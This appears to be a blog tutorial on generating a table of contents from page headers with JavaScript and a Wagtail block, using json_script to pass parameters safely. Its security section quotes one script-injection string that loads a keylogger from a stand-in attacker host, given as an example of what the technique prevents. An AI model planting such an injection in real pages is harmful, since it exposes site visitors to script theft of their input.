Use JavaScript to Add a Dynamic Table of Contents to Your Pages

Introduction

Creating a table of contents or menu based on content is time-consuming for editors and prone to errors. You may need such a feature on your data-fed pages and not even have the ability to create and link to content on the page.

Here, I create an automated, on-the-fly table of contents without the need for hard-coded anchor links, regardless of the source of your content. It's easily adaptable to be turned into a nav bar or similar menu, though for nested menus, it would require a fair bit more logic to determine level and parent etc.. Similarly, this technique could be used to produce a summary with links on an API data feed page for rapid data analysis and drill-down capability.

This example creates a structured table of information based on the presence of header tags, much like MS Word. The ultimate result is the table displayed above, where you can inspect the resultant HTML using the Inspect tool.

The presumption is that header tags are being used in a structured manner, with <h1> reserved for the page title (and therefore excluded from the table). Although the use of header tags is largely ignored in SEO these days, Mozilla's developer guide has a useful reference on why using properly structured headers is a good idea.

CSS classes are added to each level, allowing you to customise the look fully in accordance with your own style guide.

Creating the Table of Contents

All the JavaScript on this page is saved to toc.js in the static/js folder on the site. Change this as appropriate for your site.

The listContents function

This JavaScript function takes four parameters, only one mandatory. Select the target <div> element to write the table to and, optionally, a scope to limit the table to (the page body is the default), the number of header levels to include (from 1 for <h2> tags only up to 5 to include from <h2> to <h6> with 3 as default) and a title (if any) to display.

Inline comments below describe the process:

let listContents = (
  tocElement,
  scopeElement = "body",
  levels = 3,
  tocTitle = false
) => {
  // Create Table of Contents (ToC) based on header tags (H2 to H6)
  // Required: tocElement (str) - element ID to create ToC in (<DIV> only)
  // Optional: scopeElement (str) - element to limit the search to, defaults to <body>. 
  //                                             Can be element tag or element ID.
  // Optional: levels (int) - number of levels to include in ToC (1 to 5 starting with H2). Default=3 (H2-H4)
  // Optional: tocTitle (str) - string to display as ToC title, defaults to no title (false)

  let toc, scope
  
  // find target DIV element to write ToC to, only accept DIV as valid element type
  toc = document.getElementById(tocElement);
  if (toc){
    if (toc.tagName !== "DIV"){
      console.error(`ToC: Target element is type <${toc.tagName}>, only <DIV> is valid element type.`);
      toc = null;  
    }
  }

  // find tag name matching scopeElement, if scope tag not found, try finding element by ID
  scope = document.getElementsByTagName(scopeElement)[0];
  if (!scope){
    scope = document.getElementById(scopeElement);
  }
 
  if (scope && toc) {
    // determine which header tags to search by slicing list 'levels' deep
    const tags = ["h2","h3","h4","h5","h6"].slice(0,levels).join();

    // find the relevant header tags contained within the scope element
    const headers = scope.querySelectorAll(tags);

    // create ToC only if headers found
    if (headers.length > 0) {

      // add ToC title if supplied, add css classes
      if (tocTitle) {
        let title = toc.appendChild(document.createElement("P"));
        title.innerText = tocTitle;
        title.classList.add("toc", "toc-title");
      }

      // add ToC list DIV, add css classes
      const list = toc.appendChild(document.createElement("DIV"));
      list.classList.add("toc", "toc-list");

      // loop through headers in order
      for (let i = 0; i < headers.length; i++) {
        // determine nesting level (h2->1, h3->2 etc)
        const level = Number(headers[i].nodeName[1]) - 1;
        
        // if header has no id, create one from slugified title and assign to header
        // pre-fix id with index to avoid duplicate id's
        if (!headers[i].id) {
          headers[i].id = `${i + 1}-${slugify(headers[i].innerText)}`;
        }

        // create element to hold link, add css including level specific css class
        const linkLine = list.appendChild(document.createElement("P"));
        linkLine.classList.add(`toc`, `toc-item-l${level}`);

        // create link to point to ID of header
        const link = linkLine.appendChild(document.createElement("A"));
        link.appendChild(document.createTextNode(headers[i].innerText));
        link.href = `#${headers[i].id}`;
      }
    }
  } else {
    if (!scope) {
      console.error(`ToC: Missing either <${scopeElement}> or element with id=${scopeElement}`);
    }
    if (!toc) {
      console.error(`ToC: Missing ToC target <DIV> element with id=${tocElement}`);
    }
  }
}

Slugifying the headers

An ID is added to each header to link to only if there isn't one already, otherwise that ID is used to create the link. Each link created is prefixed with its index to ensure no duplicate ID's are being added.

To create the on-the-fly ID's for the headers, the function relies on a 'slugify' function to convert the text into a useable ID:

headers[i].id = `${i + 1}-${slugify(headers[i].innerText)}`;

The slug is prefixed by the loop count so that if there is any repetition of heading text, the id attribute will still be unique for each. Without this, the link will just go to the first instance of that slug.

The following function can be added to your JavaScript to do the slugifying:

let slugify = (str) => {
  str = str.replace(/^\s+|\s+$/g, "");

  // Make the string lowercase
  str = str.toLowerCase();

  // Remove accents, swap ñ for n, etc
  var from =
    "ÁÄÂÀÃÅČÇĆĎÉĚËÈÊẼĔȆÍÌÎÏŇÑÓÖÒÔÕØŘŔŠŤÚŮÜÙÛÝŸŽáäâàãåčçćďéěëèêẽĕȇíìîïňñóöòôõøðřŕšťúůüùûýÿžþÞĐđßÆa·/_,:;";
  var to =
    "AAAAAACCCDEEEEEEEEIIIINNOOOOOORRSTUUUUUYYZaaaaaacccdeeeeeeeeiiiinnooooooorrstuuuuuyyzbBDdBAa------";
  for (var i = 0, l = from.length; i < l; i++) {
    str = str.replace(new RegExp(from.charAt(i), "g"), to.charAt(i));
  }

  // Remove invalid chars
  str = str
    .replace(/[^a-z0-9 -]/g, "")
    // Collapse whitespace and replace by -
    .replace(/\s+/g, "-")
    // Collapse dashes
    .replace(/-+/g, "-");

  return str;
}

Adding CSS Styling

The rendered HTML includes several CSS classes to style the output with:

  • toc: applies to the whole table
  • toc-title: formatting for the title (if any)
  • toc-list: applies to the area below the title containing all the list items
  • toc-item-l1 - toc-item-l5: use these to style individual levels such as indents etc.

Below is a sample CSS definition for the table:

.toc-title {
  font-family: var(--font-family-headings);
  font-size: var(--font-size-2); 
  margin-bottom: 0;
}
.toc-list {
  padding-bottom: 1rem;
  padding-left: 10px;
}
.toc-item-l1{
  font-size: var(--font-size-5); 
  text-indent: 0rem;
  margin-bottom: 0;
}
.toc-item-l2{
  font-size: var(--font-size-5); 
  text-indent: 0.8rem;  
  margin-bottom: 0;
}
.toc-item-l3{
  text-indent: 1.6rem;
  font-size: var(--font-size-body); 
  margin-bottom: 0;
}
.toc-item-l4{
  text-indent: 2.4rem;
  font-size: var(--font-size-6); 
  margin-bottom: 0;
}
.toc-item-l5{
  text-indent: 3.2rem;
  font-size: var(--font-size-6); 
  margin-bottom: 0;
}

On this site, I define those font variables as follows:

:root {
    --font-family-headings: "Quicksand", sans-serif;
    --font-family-body: "Work Sans", sans-serif;
    --font-family-monospace: "Ubuntu Mono", "Courier New", monospace;
    --font-size-1: clamp(1.7578125rem, 1.3097rem + 1.3787vw, 2.34375rem);
    --font-size-2: clamp(1.40625rem, 1.0478rem + 1.1029vw, 1.875rem);
    --font-size-3: clamp(1.23046875rem, 0.9168rem + 0.9651vw, 1.640625rem);
    --font-size-4: clamp(1.125rem, 0.9099rem + 0.6618vw, 1.40625rem);
    --font-size-5: clamp(0.9375rem, 0.7583rem + 0.5515vw, 1.1718756rem);
    --font-size-6: clamp(0.84375rem, 0.7721rem + 0.2206vw, 0.9375rem);
    --font-size-body: clamp(0.9rem, 0.8235rem + 0.2353vw, 1rem);
  }

Implementing the Table of Contents

Deploying as a Stream Block in Wagtail

The example I use here is probably too flexible for use on most commercial sites where consistency across the site is required, but it's here for completeness.

Start off by defining the block:

class TableOfContentsBlock(StructBlock):
    toc_title = CharBlock(
        max_length=60, 
        null=True, 
        blank=True,
        required=False,
        label=_("Title (optional)"),
        help_text=_("Optional title to display at the top of the table."),
    )
    
    levels = IntegerBlock(
        default = 3,
        min_value=1,
        max_value=5,
        label=_("Number of levels to include"),
        help_text=_("H1 tags are ignored. 1 level includes H2 only, 5 levels will include H2 to H6."),
    )

    class Meta:
        template = 'blocks/table_of_contents.html'
        icon = 'list-ul'
        label = 'Table of Contents'

The editor has the choice of defining a title to display and the number of levels to include (with 3 as default).

To take the choice away and keep consistency, use a StaticBlock rather than a StructBlock.

The template now just needs to supply the target <div>, the parameters and call the listContents function:

{%load static%}
<div id="autoToC"></div>

{{"autoToC"| json_script:"tocElement"}}
{{"main"| json_script:"scopeElement"}}
{{value.levels | json_script:"levels"}}
{{value.toc_title | json_script:"tocTitle"}} 

<script src="{%static 'js/toc.js'%}"></script>

In this example, the scopeElement parameter is "main" representing a <main></main> element containing all the dynamic content in the page's body. Change this to suit your page structure.

All the variables we need are rendered as JSON script elements ready to be used by the JavaScript once the document is ready.

Calling the listContents function

How and when you call the listContents function will depend on the nature of the page you're dealing with and how the content is being delivered.

For a data feed from a RESTful API for instance, you would call it on the success of the data call promise.

For Django/Wagtail sites, once the DOM content has loaded, you already have your headers and can get the function working before everything else has finished.

Back in the toc.js file, we can pull in the parameters and call the listContents function from the document ready event. Make sure to put this at the end of the toc.js file so that the other functions have loaded first.

$(document).ready(function () {
  const tocElement = JSON.parse(document.getElementById("tocElement").textContent);
  const scopeElement = JSON.parse(document.getElementById("scopeElement").textContent);
  const levels = JSON.parse(document.getElementById("levels").textContent);
  const tocTitle = JSON.parse(document.getElementById("tocTitle").textContent);
  listContents(tocElement, scopeElement, levels, tocTitle);
});

Passing data to Javascript securely

Why convert the parameters to JSON and not just call the function with the block variables directly from the template?

It's just good practice to avoid leaving your site open to code injection. In short, if your title came in as the string:

'</script><script src="https://hack-my-site.com/keylogme.js"></script>'

The malicious script would actually get run instead of your toc.js code.

I wrote about this in more detail in this blog if you're interested in reading more.

 

Deploying on multi-language sites

Because the contents list is built off the currently displayed text, there's no further modification needed. The only translation needed will be the title if used.

For the example above, on a wagtail-localize site, the title is available for translation in the CMS just as any text block is.

Conclusion

This is a robust and quick way to add a consistent look and feel for creating tables of contents.

A quick refactoring of the header loop would allow a nested nav bar approach, or any other formatting.

Take this approach a bit further with other tag types to implement a simple BI dashboard summarising content produced by an external data feed and even offer links to those summarised areas to allow readers to quickly jump to the relevant sections despite there being no anchors in the originating render.

 


Thoughts, comments, questions welcome below, or please feel free to contact me directly.